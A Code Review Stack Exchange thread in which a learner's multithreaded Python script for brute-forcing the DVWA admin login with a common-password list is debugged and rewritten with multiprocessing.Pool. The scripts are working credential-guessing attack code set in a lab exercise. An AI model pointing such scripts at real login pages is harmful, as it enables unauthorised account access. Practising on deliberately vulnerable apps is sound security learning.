4
\$\begingroup\$

I am learning infosec with DVWA (Damn Vulnerable Web Application). At first I've decided to write something to brute force admin login screen. I've downlaoded a list of most commonly used passwords and created a script which takes them and attempts to log in. What do you think of it, what could be improved?

#!/usr/bin/env python3

import threading
import requests

URL = 'http://localhost/login.php'
PASSWORD_FILE_NAME = 'common-passwords.txt'
entry_found = False


def create_threads(passwords):
    password_list_split_points = [
        (0, len(passwords) // 4),
        (len(passwords) // 4 + 1, len(passwords) // 2),
        (len(passwords) // 2 + 1, 3 * (len(passwords) // 4)),
        (3 * (len(passwords) // 4) + 1, len(passwords) - 1),
    ]
    thread_list = [threading.Thread(
        target=run_cracker,
        args=(
            passwords[split_point[0] : split_point[1]]
        )
    ) for split_point in password_list_split_points]
    return thread_list


def run_cracker(*passwords):
    global entry_found
    for password in passwords:
        if entry_found:
            break
        # Passwords still contain last \n char which has to be stripped.
        if crack_password(password.rstrip()):
            # This is set to True only once. No need for sync mechanisms.
            entry_found = True


def crack_password(password):
    print('[*] Trying password: "{}" ...'.format(password))
    response = requests.post(
        URL,
        data={'username': 'admin', 'Login': 'Login', 'password': password}
    )

    if bytes('Login failed', encoding='utf-8') not in response.content:
        print('[*] Login successful for username: {} password: {}'.format(
            'admin', password
        ))
        return True
    else:
        return False


if __name__ == '__main__':
    with open(PASSWORD_FILE_NAME) as password_file:
        passwords = password_file.readlines()

    thread_list = create_threads(passwords)

    for thread in thread_list:
        print('[*] Running thread: {}.'.format(thread.getName()))
        thread.start()

    for thread in thread_list:
        print('[*] Wating for {} to join.'.format(thread.getName()))
        thread.join()
\$\endgroup\$
2
  • \$\begingroup\$ I assume this isn't intended for actual cracking. If so, python is not a great language for such a problem, given the speed. \$\endgroup\$ Commented Nov 16, 2017 at 4:11
  • \$\begingroup\$ It's been used in creating some exploits and there are other bottlenecks than the language itself like network speed od server response speed. I am not using GPU hash cracking but simple bruteforce against (intendently) poorly designed web app. Metasploit is also based on scripting language (ruby). I think I'll compare it with some java, swift or C++ in some time, but currently it serves it purpose well enough :-) \$\endgroup\$
    – gonczor
    Commented Nov 16, 2017 at 6:55

2 Answers 2

1
\$\begingroup\$

Recommendations

  • Right now the create_threads function is skipping passwords and is hard-coded to only work with four threads. I'll go over ways to fix both of these issues.

  • The password skipping occurs because taking a slice of a Python list is a non-inclusive operation.

For example:

n = 100
a = range(n)
b = a[0 : n // 4]          # equals [0, 1, ... , 23, 24]
c = a[n // 4 + 1 : n // 2] # equals [26, 27, ..., 47, 48]
  • Notice that a[25] is being skipped. You can fix this by slicing a in the following way: [a[i : i + n // 4] for i in range(0, n, n // 4)]

  • The problem is that this solution assumes that n % 4 == 0. Or, to bring it back to your code, that len(passwords) % 4 == 0. In the code below we can fix this issue by keeping track of the value of the modulus operation in the variable m. If m != 0 then we can replace the last list (in our list of password slices, xs) with the appropriate slice.

  • Fortunately all of this makes it easier to replace the hard-coded thread number with a variable (t in the code below).

Code

def create_threads(t, passwords):
    n = len(passwords)
    x = n // t
    m = n % t 
    xs = [passwords[i:i+x] for i in range(0, n, x)]
    if m:
        xs[t-1:] = [passwords[-m-x:]]
    assert(sum([len(l) for l in xs]) == n)
    return [
        threading.Thread(target=run_cracker, args=(l)) for l in xs
    ]
\$\endgroup\$
2
\$\begingroup\$

This seems to me like your create_threads and run_cracker functions are trying to reinvent something that look like multiprocessing.Pools. Using them, you just need to implement crack_password, managing the workload and spawning processes will be done by the pool.

This will however not short-circuit once a working password has been found.

Example implementation:

from multiprocessing import Pool

import requests


def crack_password(password, url='http://localhost/login.php'):
    response = requests.post(
        url,
        data={'username': 'admin', 'Login': 'Login', 'password': password}
    )

    if bytes('Login failed', encoding='utf-8') not in response.content:
        return password


def main(passwords_filename='common-passwords.txt'):
    with open(passwords_filename) as passwords_file:
        passwords = passwords_file.readlines()

    with Pool(4) as pool:
        results = pool.map(crack_password, passwords)
        success = list(filter(None, results))
    print(success)


if __name__ == '__main__':
    main()
\$\endgroup\$
1
  • \$\begingroup\$ Yeah. I always forget that python programming is almost like "import program; program.run()". I should have made a more careful reaserch. \$\endgroup\$
    – gonczor
    Commented Nov 16, 2017 at 17:29

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.